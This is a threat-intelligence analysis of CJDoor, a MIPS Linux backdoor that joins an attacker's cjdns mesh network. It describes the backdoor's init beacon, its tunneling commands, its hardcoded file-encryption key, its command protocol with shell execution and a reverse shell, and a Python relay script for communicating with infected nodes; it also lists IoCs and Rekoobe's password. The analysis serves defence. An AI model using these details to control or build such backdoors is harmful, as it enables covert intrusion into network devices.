CJDoor: A Backdoor Abusing cjdns
In July 2026, Cisco Talos published research [1] on UAT-7810, a threat actor involved in building Operational Relay Box (ORB) networks. The report describes UAT-7810's involvement in building and expanding an ORB network known as LapDogs, along with several malware families used by the actor, including LONGLEASH, DOGLEASH, and JARLEASH. SecurityScorecard also published research on LapDogs in June 2025 [2]. Infected devices have been identified primarily in the United States and Southeast Asia, as well as in Japan, South Korea, Hong Kong, and Taiwan.
While investigating servers used to distribute malware associated with UAT-7810, JPCERT/CC identified a distinctive Linux malware sample. It operates as a passive backdoor using an encrypted overlay network. JPCERT/CC refers to this malware as “CJDoor.” This article describes the background to the investigation and examines CJDoor's functionality in detail.
Open Directories on Malware Distribution Servers
In its investigation of UAT-7810, Cisco Talos reported that the actor used multiple servers to distribute malware [1]. The IP addresses associated with these servers were reportedly used as malware download locations. JPCERT/CC investigated the malware distribution servers identified in the report and found that two had open directories, allowing their directory listings to be viewed externally. Figure 1 shows the open directories.
![]()
Multiple files were publicly accessible on these servers. JPCERT/CC identified CJDoor while examining these files.
Overview of CJDoor
The CJDoor sample identified by JPCERT/CC is an ELF file for the 64-bit MIPS architecture. A distinctive feature of CJDoor is its use of cjdns (Caleb James DeLisle's Network Suite) [3] to communicate over an encrypted mesh network built by the attacker. With many conventional backdoors, an infected device periodically initiates connections to an attacker-controlled C2 server. CJDoor, by contrast, listens for inbound connections to join the cjdns network.
About cjdns
cjdns is open-source software available on GitHub [3] that uses public-key cryptography to identify nodes and build an encrypted IPv6 mesh network between them. It provides infrastructure for encrypted peer-to-peer (P2P) communication in Bitcoin Core and in services such as VPNs and IRC. Each cjdns node has a public-private key pair. The key pair is generated so that the IPv6 address derived from the public key falls within the fc00::/8 range. This association between the IPv6 address and the public key provides both an address and an identity for the node on the cjdns network.
These IPv6 addresses are not globally routable on the public Internet. They are used for communication between nodes within the overlay network built by cjdns. cjdns uses UDP as the underlying transport and builds an IPv6 overlay network on top of it using its own routing and encryption mechanisms. Communication between nodes is encrypted and mutually authenticated using a protocol called CryptoAuth.
CJDoor's Execution Modes
CJDoor implements several operating modes. This article focuses on two: --init mode, which performs the initial setup, and --conf mode, which starts CJDoor using a configuration file. The other execution modes are listed in Table 2 in Appendix B. The --init option is used to initialize CJDoor as follows:
./CJDoor --init http://[IP]:[Port]/[Path]
Figure 2 shows the initialization process. In --init mode, CJDoor first generates a public/private key pair, as the standard cjdns implementation does. It derives the node's identity on the cjdns network from the public key and randomly selects a port for listening for inbound traffic. It then collects information about the device on which it is running, including system information, network interface names, IP addresses, MAC addresses, and the availability of iptables and a TUN device.
The information generated or collected during initialization is saved in sys.dat and netd.dat. CJDoor then sends the contents of these files as query parameters in an HTTP GET request to the IP address, port, and path specified in the --init argument. The destination must be specified as an IP address, and domain names are not supported. HTTPS is not supported either.
![]()
After initialization, CJDoor is started with a configuration file as follows:
./CJDoor --conf netd.dat
Figure 3 shows CJDoor's execution flow. CJDoor first reads the configuration generated during initialization from netd.dat, then deletes sys.dat, netd.dat, and its own executable file. It then begins listening for UDP traffic on the port randomly selected during initialization. The attacker retrieves information about the target device from the server to which CJDoor sent the device information in --init mode. This includes the cjdns node information assigned to the device, its listening port, and other details required to connect to it.
Using this information, the attacker connects to the target device and performs the exchanges required for cjdns peering. Establishing a peer connection requires information such as the destination node's public key, password, and port number. Once a connection is established, the target device joins the attacker's cjdns network as a node and can communicate over that network.
CJDoor's own node public key is not hardcoded in the sample. It is derived from the private key generated in --init mode. Consequently, each device running CJDoor operates as a cjdns node with a distinct key pair and node identity.
![]()
Execution of External Tools
CJDoor also implements functionality to execute multiple external tools on an infected device. Although the tool binaries themselves were not identified during this investigation, JPCERT/CC confirmed that CJDoor can execute the following command:
/tmp/ud -s -l 0.0.0.0:55555 -r 127.0.0.1:<port>
It also executes the following command:
./ts -g -i 10.0.0.1 -n 255.0.0.0 -R 1080:127.0.0.1:10800
Based on the specified options and network settings, ud appears to be a port-forwarding tool, while ts appears to be a tunneling tool. In particular, the ts command includes network settings such as 10.0.0.1 and 255.0.0.0, along with the port-related setting 1080:127.0.0.1:10800, which resembles a configuration used by SOCKS tools.
Network Environment Checks and TUN Interface Configuration
CJDoor checks the network environment required for cjdns communication and modifies the configuration as needed. It first checks for the following device nodes to access the TUN/TAP driver:
/dev/net/tun /dev/tun /tmp/tun
If no usable device node is available, CJDoor runs the following command to create a character device file named ./tun with major number 10 and minor number 200, allowing access to the TUN/TAP kernel device:
mknod ./tun c 10 200
It then configures a TUN network interface named pp1000. TUN is a virtual network device that exchanges IP packets between a userspace program and the Linux kernel's network stack. cjdns uses it to communicate with the overlay network. JPCERT/CC also identified functionality that enables IPv6 by setting Linux configuration values related to disable_ipv6 to 0. These operations appear to configure the network environment for the cjdns IPv6 overlay network. CJDoor also executes the following command to check the rules configured in the iptables NAT table:
iptables -t nat -L -n
CJDoor's Encryption
CJDoor creates netd.dat and sys.dat by encrypting its configuration and information about the infected device with XSalsa20. To decrypt the data, it uses a key generated from the SHA-256 hash of the byte sequence 31 73 37 13 00 00 00 00 and a fixed 24-byte nonce consisting entirely of 0x00 bytes. Figure 4 shows an excerpt of CJDoor's decryption code, and Figure 5 shows the decrypted contents of netd.dat and sys.dat.
![]()
![]()
In addition to encrypting files, CJDoor encrypts communication between nodes using CryptoAuth, which is also used by the standard cjdns implementation. CryptoAuth derives a session key through Curve25519 Diffie-Hellman key exchange and uses XSalsa20-Poly1305 to encrypt and authenticate communication. cjdns also uses SHA-512 to derive a node's address from its public key. In this way, CJDoor uses the encrypted communication mechanisms already provided by cjdns for communication between nodes, rather than implementing its own cryptographic protocol.
CJDoor's Packet Format
Analysis of CJDoor's code confirmed that it is based on cjdns v20. The latest version of cjdns is v22, meaning that CJDoor incorporates a relatively old version. Figure 6 shows an excerpt of CJDoor's code containing cjdns version information.
![]()
However, CJDoor's packet format is not identical to that of the standard cjdns implementation of the same version. Response packets from CJDoor include an additional 16-byte prefix at offsets 0 through 15 that is absent from standard cjdns packets. This prefix must be accounted for when using standard cjdns to communicate with CJDoor. A parser is needed to handle the additional 16 bytes before passing the packet to cjdns. The following code provides an example:
import argparse
import socket
import sys
import threading
def relay(listen_addr, peer_addr, cjdroute_addr, strip_len, verbose):
lhost, lport = listen_addr.rsplit(":", 1)
phost, pport = peer_addr.rsplit(":", 1)
chost, cport = cjdroute_addr.rsplit(":", 1)
lport, pport, cport = int(lport), int(pport), int(cport)
sock_to_cjdroute = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_to_cjdroute.bind((lhost, lport))
sock_to_peer = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_to_peer.bind(("0.0.0.0", 0))
actual_peer_sock_port = sock_to_peer.getsockname()[1]
def pump_cjdroute_to_peer():
while True:
data, addr = sock_to_cjdroute.recvfrom(PORT)
sock_to_peer.sendto(data, (phost, pport))
def pump_peer_to_cjdroute():
while True:
data, addr = sock_to_peer.recvfrom(PORT)
if addr[0] != phost:
continue
if len(data) <= strip_len:
continue
stripped = data[strip_len:]
sock_to_cjdroute.sendto(stripped, (chost, cport))
t1 = threading.Thread(target=pump_cjdroute_to_peer, daemon=True)
t2 = threading.Thread(target=pump_peer_to_cjdroute, daemon=True)
t1.start()
t2.start()
t1.join()
t2.join()
CJDoor's Malicious Modules and Commands
CJDoor adds command execution functionality that is not present in the standard cjdns implementation. In the sample analyzed, JPCERT/CC identified 14 commands implemented in a module called LinkCommandSender. These include commands for executing arbitrary shell commands and launching a reverse shell. Figure 7 shows an excerpt of the code. Many of the commands control communication, including peer connection states and interfaces. Details of each command and its parameters are provided in Tables 3–17 in Appendix C.
![]()
Parameters for these commands are exchanged in Bencode format. Traffic associated with the 14 commands also uses 0x1F as the value of the cjdns Control_Header.type field. This value is not used by standard cjdns and is one characteristic that can help identify the additional communication implemented by CJDoor.
The message frames also include two additional values, lnkq and lnkr, that are not present in standard cjdns. lnkq identifies a query, while lnkr identifies a response, distinguishing CJDoor-specific command requests from their responses. These custom message types and commands appear to enable remote control of infected devices over the cjdns overlay network while using cjdns's existing encrypted communication mechanisms. Figure 8 shows an excerpt of the code that validates these strings in message frames.
![]()
The attacker's modifications extend beyond the LinkCommandSender module. Several existing cjdns modules have also been modified, with a total of 24 commands added to them. These include commands for controlling interfaces, sessions, and routing. Table 18 in Appendix D lists the additional commands and their corresponding modules.
Other Malware and Tools Found in the Open Directories
In addition to CJDoor, JPCERT/CC found Rekoobe and a TUN/TAP kernel module in the open directories. Both were built for the same 64-bit MIPS architecture as CJDoor. The Rekoobe sample is a Linux backdoor with capabilities that include listening for inbound connections and executing commands. Its commands, subcommands, and configuration are listed in Tables 19–21 in Appendix E.
The same open directories also contained a TUN/TAP kernel module for 64-bit MIPS. Analysis of its code suggests that it was built from tun.c [4], the source file for the TUN/TAP driver available on GitHub. Because CJDoor includes functionality for handling situations where a TUN/TAP device is unavailable, this kernel module may have been placed on the servers to make TUN/TAP available on infected devices.
Rekoobe was hosted in a directory with a four-digit numeric name, similar to the directories containing DOGLEASH and other UAT-7810-related malware reported by Cisco Talos. Table 22 in Appendix F lists the paths and architectures of the ELF files hosted on the servers. CJDoor, Rekoobe, and the TUN/TAP kernel module were the only three files in the open directories built for 64-bit MIPS. This suggests that they may have been placed there for use together on the same target device. The remaining files are known malware described in Cisco Talos's report [1] and are not discussed further here.
Conclusion
This article examined CJDoor, a distinctive backdoor that abuses cjdns to join an encrypted mesh network. Unlike conventional backdoors that continually communicate with a specific C2 server from an infected device, CJDoor listens for inbound connections as a node on a cjdns network. It enables remote control of infected devices by using cjdns's encrypted overlay network and adding packet formats and commands that are not present in the standard implementation. Because the listening port is randomly selected and cjdns traffic is encrypted, detecting the malware from traffic content alone may be difficult. However, artifacts on infected devices, such as the TUN interface and files associated with tools such as ud and ts, can provide clues during an investigation.
The scale of CJDoor infections and the extent of its use in actual attacks remain unclear. JPCERT/CC will continue to investigate CJDoor and related attack activity.
Yuma Masubuchi (This article was machine-translated and manually reviewed.)
References
[1] Cisco Talos
UAT-7810 continues building ORB networks using new malware
https://blog.talosintelligence.com/uat-7810/
[2] SecurityScorecard
Unmasking A New China-Linked Covert ORB Network: Inside the LapDogs Campaign
https://securityscorecard.com/blog/unmasking-a-new-china-linked-covert-orb-network-inside-the-lapdogs-campaign/
[3] cjdelisle
cjdns
https://github.com/cjdelisle/cjdns
[4] torvalds
tun.c
https://github.com/torvalds/linux/blob/master/drivers/net/tun.c
Appendix A: IoC File
| Content | Filename | Hash (SHA256) |
|---|---|---|
| CJDoor | netd | 597ed061ac707ed539f7a30d5edca5149bfe50f4dcb736e34fec29e4f139f702 |
| Rekoobe | t | 324911d9f045eaca8fc5ee292e75416e9f9af91f2833245600926ef0bea8edc6 |
| TUN Kernel Module | tun.ko | 42d8ff0f14d117edc01c307f4277f5661565678b068edfb75854b7fe265d6dbc |
Appendix B: Execution mode
| Argument | Description |
|---|---|
| No arguments | Starts with the normal startup procedure |
| --init <URL> | Generates the initial configuration |
| --conf <file> | Starts using the specified configuration file |
| --nobg | Starts without running in the background |
| angel | Internal startup mode used for the monitoring process |
| core | Internal startup mode that executes the main cjdns processing |
Appendix C: LinkCommandSender Commands and Parameters
| Command | Content |
|---|---|
| connTo | Connect to a specified cjdns peer |
| backlink | Apply backlink configuration |
| disconnFrom | Disconnect from a specified peer |
| disConnAll | Disconnect from all peers |
| addPwd | Add a password for connections |
| rmPwd | Remove connection information |
| rmUseBeginWith | Remove users matching a prefix |
| switchTunDev | Change the TUN mode |
| speedTest | Perform a peer-to-peer speed test |
| stopKeepAlive | Stop keepalive |
| u2r | Apply U2R-related settings |
| runCommand | Execute a shell command |
| rs | Reverse shell |
| allowConnection | Allow IP tunnel connections |
| Item | Content |
|---|---|
| type | "connTo" as the command type |
| address | IP address and UDP port |
| publicKey | Public key of the destination cjdns peer |
| password | Authentication password |
| protocol | Connection protocol such as UDP |
| Item | Content |
|---|---|
| type | "backlink" as the command type |
| address | IP address and UDP port |
| publicKey | Public key of the destination cjdns peer |
| password | Authentication password |
| target | Destination IP address and port |
| protocol | Connection protocol such as UDP |
| Item | Content |
|---|---|
| type | "allowConnection" as the command type |
| publicKey | Public key of the cjdns peer allowed to connect |
| ip4Address | IPv4 address assigned to the peer |
| ip4Prefix | IPv4 network prefix length |
| ip4Alloc | Value used to enable or disable automatic IPv4 address assignment |
| Item | Content |
|---|---|
| type | "disconnFrom" as the command type |
| address | Public key of the cjdns peer to disconnect |
| Item | Content |
|---|---|
| type | "disConnAll" as the command type |
| Item | Content |
|---|---|
| type | "rmUseBeginWith" as the command type |
| user | Prefix of the username to remove |
| Item | Content |
|---|---|
| type | "switchTunDev" as the command type |
| tunDev | "tunnel" or "tunscript" as the TUN mode |
| desiredTunName | Optionally specifies the TUN interface name |
| Item | Content |
|---|---|
| type | "speedTest" as the command type |
| publicKey | Public key of the cjdns peer to test |
| interval | Integer value for the test interval or transmission interval |
| Item | Content |
|---|---|
| type | "stopKeepAlive" as the command type |
| Item | Content |
|---|---|
| type | "runCommand" as the command type |
| cmd | Command string to execute with sh -c |
| Item | Content |
|---|---|
| type | "u2r" as the command type |
| target | IP address and port |
| Item | Content |
|---|---|
| type | "rs" as the command type |
| target | IP address and TCP port |
| Item | Content |
|---|---|
| type | "rmPwd" as the command type |
| user | User identifier to remove |
| Item | Content |
|---|---|
| type | "addPwd" as the command type |
| password | New password |
Appendix D: Commands Added to Existing Modules
| Module | Additional Commands |
|---|---|
| InterfaceController | disconnectAllPeers |
| InterfaceController | enableRS |
| InterfaceController | interfaceInfo |
| InterfaceController | interval_state |
| InterfaceController | peerStateByPk |
| InterfaceController | set_noise_type |
| InterfaceController | speedTest |
| SessionManager | restartTimeout |
| SessionManager | rmSessBaseOn |
| SessionManager | sessionStatsByPk |
| SessionManager | stopTimeout |
| RouteGen | enable |
| RAWAddrIface | sendBackLink |
| RAWAddrIface | sendU2R |
| RAWAddrIface | sendUPnP |
| IpTunnel | removeAllConnections |
| IpTunnel | staticOutgoing_add |
| IpTunnel | staticOutgoing_del |
| Core | flushTunScript |
| Core | flushTunnel |
| FileNo | import |
| ReachabilityCollector | getPeersPeer |
| TCPInterface | beginConnection |
| TCPInterface | new |
Appendix E: Rekoobe Commands and Configuration
| Command ID | Content |
|---|---|
| 1 | Download file |
| 2 | Upload file |
| 3 | PTY interactive shell |
| 4 | Execute command |
| Sub-Command ID | Content |
|---|---|
| exit | Terminate session |
| quit | Terminate session |
| destroy | Terminate backdoor process |
| get | Download file |
| put | Upload file |
| Item | Value |
|---|---|
| Bind Port | 7896/TCP |
| Reverse Connection | 127.0.0.1:8192 |
| Authentication Password | Pc#x23G8@de6+M |
| Reconnection Interval | 60 seconds |
| Authentication Timeout | Approximately 15 seconds |
| File Transfer Chunk Size | 4096 bytes |
| File Creation Permissions | 0644 |
| Transfer Completion Marker | FE 0A 0D EF 00 |
| Masqueraded Process Name | sh |
Appendix F: File Paths and Architectures of Each File
| Filepath | Bit | Endian | Architecture | ISA Level |
|---|---|---|---|---|
| /linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /5585/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7046/linux2_6_21-musl1_2-mips32el | 32-bit | LSB | MIPS | MIPS32 |
| /7707/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7055/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /7180/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /7706/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /6895/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /5710/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /5382/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /6901/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /7136/linux2_6_31-uclibc0_9-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /7198/linux2_6_31-uclibc0_9-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /5300/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /5726/linux2_6_21-musl1_2-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /6900/linux2_6_31-uclibc0_9-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /6488/linux2_6_21-musl1_2-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /8090/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /5708/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /6898/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /6656/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /5728/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /6489/linux2_6_21-musl1_2-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /6065/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /7042/linux2_6_36-musl1_2-armv7 | 32-bit | LSB | ARM | EABI5 |
| /8618/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /6899/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7194/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /8330/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /5298/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /6982/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /7660-1/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7093/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /5585/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7658/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /7804/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /7630/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /7595/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /5710/linux2_6_21-musl1_2-mips32 | 32-bit | MSB | MIPS | MIPS32 |
| /8582/linux2_6_21-uclibc1_0_45-mips1 | 32-bit | MSB | MIPS | MIPS-I |
| /5382/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /5300/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /5726/linux2_6_21-musl1_2-mips32r2 | 32-bit | MSB | MIPS | MIPS32 rel2 |
| /5708/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /5728/linux2_6_21-musl1_2-mips2el | 32-bit | LSB | MIPS | MIPS32 |
| /5298/linux2_6_36-uclibc0_9-armv7 | 32-bit | LSB | ARM | EABI5 |
| /7814/t | 64-bit | MSB | MIPS | MIPS64 rel2 |
| /netd | 64-bit | MSB | MIPS | MIPS-III |
| /tun.ko | 64-bit | MSB | MIPS | MIPS64 rel2 |